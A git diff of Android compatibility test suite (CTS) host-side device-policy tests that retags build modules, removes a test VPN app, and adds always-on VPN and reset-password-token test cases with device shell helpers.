--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSimpleApp
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 107261c..0e87000 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,8 +23,11 @@
 import android.os.Parcel;
 import android.os.Process;
 import android.os.RemoteException;
+import android.util.Log;
 
 public class SimpleService extends Service {
+    private final static String TAG = SimpleService.class.getSimpleName();
+
     final Binder mBinder = new Binder() {
         @Override
         protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
@@ -40,6 +43,7 @@
 
     @Override
     public IBinder onBind(Intent intent) {
+        Log.i(TAG, "onBind called");
         return mBinder;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
index 649c3ab..deb5320 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
index 6b2609b..426dbf2 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -37,6 +37,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/VpnApp/Android.mk b/hostsidetests/devicepolicy/app/VpnApp/Android.mk
deleted file mode 100644
index 9723b97..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
deleted file mode 100644
index ea1a001..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.vpnfirewall">
-
-    <uses-sdk android:minSdkVersion="22"/>
-
-    <application>
-        <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
-            <intent-filter>
-                <action android:name="android.net.VpnService"/>
-            </intent-filter>
-        </service>
-    </application>
-
-</manifest>
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
deleted file mode 100644
index edd9de6..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.vpnfirewall;
-
-import android.R;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.net.VpnService;
-import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
-import android.os.UserManager;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-
-public class ReflectorVpnService extends VpnService {
-
-    private static String TAG = "ReflectorVpnService";
-    private static final int NOTIFICATION_ID = 1;
-    private static final String NOTIFICATION_CHANNEL_ID = TAG;
-    private static int MTU = 1799;
-
-    private ParcelFileDescriptor mFd = null;
-    private PingReflector mPingReflector = null;
-
-    public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
-    public static final String RESTRICTION_ROUTES = "vpn.routes";
-    public static final String RESTRICTION_ALLOWED = "vpn.allowed";
-    public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        // Put ourself in the foreground to stop the system killing us while we wait for orders from
-        // the hostside test.
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.createNotificationChannel(new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_DEFAULT));
-        startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setSmallIcon(R.drawable.ic_dialog_alert)
-                .build());
-        start();
-        return START_REDELIVER_INTENT;
-    }
-
-    @Override
-    public void onDestroy() {
-        stop();
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-        super.onDestroy();
-    }
-
-    private void start() {
-        VpnService.prepare(this);
-        Builder builder = new Builder();
-
-        final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
-        final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
-
-        String[] addressArray = restrictions.getStringArray(RESTRICTION_ADDRESSES);
-        if (addressArray == null) {
-            // Addresses for IPv4/IPv6 documentation purposes according to rfc5737/rfc3849.
-            addressArray = new String[] {"192.0.2.3/32", "2001:db8:1:2::/128"};
-        };
-        for (int i = 0; i < addressArray.length; i++) {
-            String[] prefixAndMask = addressArray[i].split("/");
-            try {
-                InetAddress address = InetAddress.getByName(prefixAndMask[0]);
-                int prefixLength = Integer.parseInt(prefixAndMask[1]);
-                builder.addAddress(address, prefixLength);
-            } catch (NumberFormatException | UnknownHostException e) {
-                Log.w(TAG, "Ill-formed address: " + addressArray[i]);
-                continue;
-            }
-        }
-
-        String[] routeArray = restrictions.getStringArray(RESTRICTION_ROUTES);
-        if (routeArray == null) {
-            routeArray = new String[] {"0.0.0.0/0", "::/0"};
-        }
-        for (int i = 0; i < routeArray.length; i++) {
-            String[] prefixAndMask = routeArray[i].split("/");
-            try {
-                InetAddress address = InetAddress.getByName(prefixAndMask[0]);
-                int prefixLength = Integer.parseInt(prefixAndMask[1]);
-                builder.addRoute(address, prefixLength);
-            } catch (NumberFormatException | UnknownHostException e) {
-                Log.w(TAG, "Ill-formed route: " + routeArray[i]);
-                continue;
-            }
-        }
-
-        String[] allowedArray = restrictions.getStringArray(RESTRICTION_ALLOWED);
-        if (allowedArray != null) {
-            for (int i = 0; i < allowedArray.length; i++) {
-                String allowedPackage = allowedArray[i];
-                if (!TextUtils.isEmpty(allowedPackage)) {
-                    try {
-                        builder.addAllowedApplication(allowedPackage);
-                    } catch(NameNotFoundException e) {
-                        Log.w(TAG, "Allowed package not found: " + allowedPackage);
-                        continue;
-                    }
-                }
-            }
-        }
-
-        String[] disallowedArray = restrictions.getStringArray(RESTRICTION_DISALLOWED);
-        if (disallowedArray != null) {
-            for (int i = 0; i < disallowedArray.length; i++) {
-                String disallowedPackage = disallowedArray[i];
-                if (!TextUtils.isEmpty(disallowedPackage)) {
-                    try {
-                        builder.addDisallowedApplication(disallowedPackage);
-                    } catch(NameNotFoundException e) {
-                        Log.w(TAG, "Disallowed package not found: " + disallowedPackage);
-                        continue;
-                    }
-                }
-            }
-        }
-
-        builder.setMtu(MTU);
-        builder.setBlocking(true);
-        builder.setSession(TAG);
-
-        mFd = builder.establish();
-        if (mFd == null) {
-            Log.e(TAG, "Unable to establish file descriptor for VPN connection");
-            return;
-        }
-        Log.i(TAG, "Established, fd=" + mFd.getFd());
-
-        mPingReflector = new PingReflector(mFd.getFileDescriptor(), MTU);
-        mPingReflector.start();
-    }
-
-    private void stop() {
-        if (mPingReflector != null) {
-            mPingReflector.interrupt();
-            mPingReflector = null;
-        }
-        try {
-            if (mFd != null) {
-                Log.i(TAG, "Closing filedescriptor");
-                mFd.close();
-            }
-        } catch(IOException e) {
-            Log.w(TAG, "Closing filedescriptor failed", e);
-        } finally {
-            mFd = null;
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
index ac967a3..1a804b8 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
@@ -27,6 +27,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index 8992f42..b03cf95 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 210888e..8b73762 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -79,6 +79,14 @@
     protected static final int FLAG_EPHEMERAL = 0x00000100;
     protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
 
+    /**
+     * The {@link android.os.BatteryManager} flags value representing all charging types; {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_AC}, {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_USB}, and {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_WIRELESS}.
+     */
+    private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
+
     protected static interface Settings {
         public static final String GLOBAL_NAMESPACE = "global";
         public static interface Global {
@@ -138,6 +146,9 @@
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
+        stayAwake();
+        // Go to home.
+        executeShellCommand("input keyevent KEYCODE_HOME");
     }
 
     @Override
@@ -784,8 +795,30 @@
         }
     }
 
+    /**
+     * Verifies the lock credential for the given user, which unlocks the user.
+     *
+     * @param credential The credential to verify.
+     * @param userId The id of the user.
+     */
+    protected void verifyUserCredential(String credential, int userId)
+            throws DeviceNotAvailableException {
+        final String credentialArgument = (credential == null || credential.isEmpty())
+                ? "" : ("--old " + credential);
+        String commandOutput = getDevice().executeShellCommand(String.format(
+                "cmd lock_settings verify --user %d %s", userId, credentialArgument));
+        if (!commandOutput.startsWith("Lock credential verified")) {
+            fail("Failed to verify user credential: " + commandOutput);
+        }
+    }
+
     protected void wakeupAndDismissKeyguard() throws Exception {
         executeShellCommand("input keyevent KEYCODE_WAKEUP");
         executeShellCommand("wm dismiss-keyguard");
     }
+
+    private void stayAwake() throws Exception {
+        executeShellCommand(
+            "settings put global stay_on_while_plugged_in " + STAY_ON_WHILE_PLUGGED_IN_FLAGS);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 6c14be0..d5aadd0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -26,7 +26,9 @@
 import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Set of tests for use cases that apply to profile and device owner.
@@ -84,6 +86,9 @@
 
     private static final String VPN_APP_PKG = "com.android.cts.vpnfirewall";
     private static final String VPN_APP_APK = "CtsVpnFirewallApp.apk";
+    private static final String VPN_APP_API23_APK = "CtsVpnFirewallAppApi23.apk";
+    private static final String VPN_APP_API24_APK = "CtsVpnFirewallAppApi24.apk";
+    private static final String VPN_APP_NOT_ALWAYS_ON_APK = "CtsVpnFirewallAppNotAlwaysOn.apk";
 
     private static final String COMMAND_BLOCK_ACCOUNT_TYPE = "block-accounttype";
     private static final String COMMAND_UNBLOCK_ACCOUNT_TYPE = "unblock-accounttype";
@@ -108,6 +113,15 @@
     protected static final String ASSIST_INTERACTION_SERVICE =
             ASSIST_APP_PKG + "/.MyInteractionService";
 
+    private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+    private static final String RESTRICT_BACKGROUND_GET_CMD =
+        "cmd netpolicy get restrict-background";
+    private static final String RESTRICT_BACKGROUND_ON_CMD =
+        "cmd netpolicy set restrict-background true";
+    private static final String RESTRICT_BACKGROUND_OFF_CMD =
+        "cmd netpolicy set restrict-background false";
+
     // ID of the user all tests are run as. For device owner this will be the primary user, for
     // profile owner it is the user id of the created profile.
     protected int mUserId;
@@ -123,6 +137,9 @@
             getDevice().uninstallPackage(DELEGATE_APP_PKG);
             getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
             getDevice().uninstallPackage(VPN_APP_PKG);
+            getDevice().uninstallPackage(VPN_APP_API23_APK);
+            getDevice().uninstallPackage(VPN_APP_API24_APK);
+            getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
             getDevice().uninstallPackage(INTENT_SENDER_PKG);
             getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
@@ -258,7 +275,7 @@
             return;
         }
         installAppAsUser(VPN_APP_APK, mUserId);
-        executeDeviceTestClass(".AlwaysOnVpnTest");
+        executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
     }
 
     @RequiresDevice
@@ -278,6 +295,32 @@
     }
 
     @RequiresDevice
+    public void testAlwaysOnVpnAcrossReboot() throws Exception {
+        // Note: Always-on VPN is supported on non-FBE devices as well, and the behavior should be
+        // the same. However we're only testing the FBE case here as we need to set a device
+        // password during the test. This would cause FDE devices (e.g. angler) to prompt for the
+        // password during reboot, which we can't handle easily.
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
+        }
+
+        // Set a password to encrypt the user
+        final String testPassword = "1234";
+        changeUserCredential(testPassword, null /*oldCredential*/, mUserId);
+
+        try {
+            installAppAsUser(VPN_APP_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
+            rebootAndWaitUntilReady();
+            verifyUserCredential(testPassword, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot");
+        } finally {
+            changeUserCredential(null /*newCredential*/, testPassword, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+        }
+    }
+
+    @RequiresDevice
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -294,6 +337,49 @@
         }
     }
 
+    @RequiresDevice
+    public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Target SDK = 23: unsupported
+            installAppAsUser(VPN_APP_API23_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+
+            // Target SDK = 24: supported
+            installAppAsUser(VPN_APP_API24_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+
+            // Explicit opt-out: unsupported
+            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+        } finally {
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+        }
+    }
+
+    @RequiresDevice
+    public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Target SDK = 24: supported
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+            installAppAsUser(VPN_APP_API24_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            // Update the app to target higher API level, but with manifest opt-out
+            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+        } finally {
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+        }
+    }
+
     public void testPermissionPolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -721,13 +807,41 @@
         // This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
         // MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
         // without allowing failures.
-        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithTokenMayFail");
+        executeResetPasswordWithTokenTests(true);
+    }
+
+    public void testPasswordSufficientInitially() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestClass(".PasswordSufficientInitiallyTest");
+    }
+
+    protected void executeResetPasswordWithTokenTests(Boolean allowFailures) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
+                Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
     }
 
     protected void executeDeviceTestClass(String className) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
 
+    /**
+     * Executes a test class on device. Prior to running, turn off background data usage
+     * restrictions, and restore the original restrictions after the test.
+     */
+    protected void executeDeviceTestClassNoRestrictBackground(String className) throws Exception {
+        boolean originalRestriction = ensureRestrictBackgroundPolicyOff();
+        try {
+            executeDeviceTestClass(className);
+        } catch (Exception e) {
+            throw e;
+        } finally {
+            // if the test throws exception, still restore the policy
+            restoreRestrictBackgroundPolicyTo(originalRestriction);
+        }
+    }
+
     protected void executeDeviceTestMethod(String className, String testName) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
     }
@@ -905,4 +1019,22 @@
     protected void clearVoiceInteractionService() throws DeviceNotAvailableException {
         getDevice().executeShellCommand("settings delete secure voice_interaction_service");
     }
+
+    /**
+     * Ensure that restrict background policy is off.
+     * Returns the original status of restrict background policy.
+     */
+    private boolean ensureRestrictBackgroundPolicyOff() throws Exception {
+        String restriction = getDevice().executeShellCommand(RESTRICT_BACKGROUND_GET_CMD);
+        if (restriction.contains("enabled")) {
+            getDevice().executeShellCommand(RESTRICT_BACKGROUND_OFF_CMD);
+            return true;
+        }
+        return false;
+    }
+
+    private void restoreRestrictBackgroundPolicyTo(boolean restricted) throws Exception {
+        getDevice().executeShellCommand(
+                restricted ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index a4844f5..7a07d7c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -440,6 +440,7 @@
         setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
 
         switchUser(userId);
+        wakeupAndDismissKeyguard();
 
         // Setting the same affiliation ids on both users and running the lock task tests.
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index fb41bc9..157c59c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -80,10 +80,13 @@
     private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
     private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
 
-    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(15);
+    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(30);
 
     private static final String PARAM_PROFILE_ID = "profile-id";
 
+    // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+    private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
+
     private int mParentUserId;
 
     // ID of the profile we'll create. This will always be a profile of the parent.
@@ -157,6 +160,10 @@
         changeUserCredential("1234", null, mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".LockNowTest",
                 "testLockNowWithKeyEviction", mProfileUserId);
+        waitUntilProfileLocked();
+    }
+
+    private void waitUntilProfileLocked() throws Exception {
         final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
         final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
         SuccessCondition userLocked = () -> {
@@ -972,6 +979,55 @@
                 "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
+    public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
+        }
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testSetupWorkProfileAndLock", mProfileUserId);
+        waitUntilProfileLocked();
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testResetPasswordBeforeUnlock", mProfileUserId);
+        // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+        verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+    }
+
+    /**
+     * Test password reset token is still functional after the primary user clears and
+     * re-adds back its device lock. This is to detect a regression where the work profile
+     * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
+     * existing password reset token) if it has unified work challenge and the primary user clears
+     * the device lock.
+     */
+    public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
+        }
+        final String devicePassword = "1234";
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testSetResetPasswordToken", mProfileUserId);
+        try {
+            changeUserCredential(devicePassword, null, mParentUserId);
+            changeUserCredential(null, devicePassword, mParentUserId);
+            changeUserCredential(devicePassword, null, mParentUserId);
+
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                    "testLockWorkProfile", mProfileUserId);
+            waitUntilProfileLocked();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                    "testResetPasswordBeforeUnlock", mProfileUserId);
+            verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+        } finally {
+            changeUserCredential(null, devicePassword, mParentUserId);
+            // Cycle the device screen to flush stale password information from keyguard,
+            // otherwise it will still ask for the non-existent password.
+            executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            executeShellCommand("input keyevent KEYCODE_SLEEP");
+        }
+    }
+
     private void disableActivityForUser(String activityName, int userId)
             throws DeviceNotAvailableException {
         String command = "am start -W --user " + userId
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 7c82e16..6cedba5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -119,24 +119,42 @@
         // and profile owners on the primary user.
     }
 
-    /**
-     * Don't require a device for tests that use the network stack on secondary users.
-     */
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
     public void testAlwaysOnVpn() throws Exception {
         super.testAlwaysOnVpn();
     }
 
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
     public void testAlwaysOnVpnLockDown() throws Exception {
         super.testAlwaysOnVpnLockDown();
     }
 
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
+    @Override
+    public void testAlwaysOnVpnAcrossReboot() throws Exception {
+        super.testAlwaysOnVpnAcrossReboot();
+    }
+
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
         super.testAlwaysOnVpnPackageUninstalled();
     }
 
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
+    @Override
+    public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+        super.testAlwaysOnVpnUnsupportedPackage();
+    }
+
+    /** VPN tests don't require physical device for managed profile, thus overriding. */
+    @Override
+    public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+        super.testAlwaysOnVpnUnsupportedPackageReplaced();
+    }
+
     @Override
     public void testResetPasswordWithToken() throws Exception {
         if (!mHasFeature) {
@@ -145,6 +163,6 @@
         // Execute the test method that's guaranteed to succeed. See also test in base class
         // which are tolerant to failure and executed by MixedDeviceOwnerTest and
         // MixedProfileOwnerTest
-        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+        executeResetPasswordWithTokenTests(false);
     }
 }
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index 1b3768c..d15996c 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.dumpsys
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
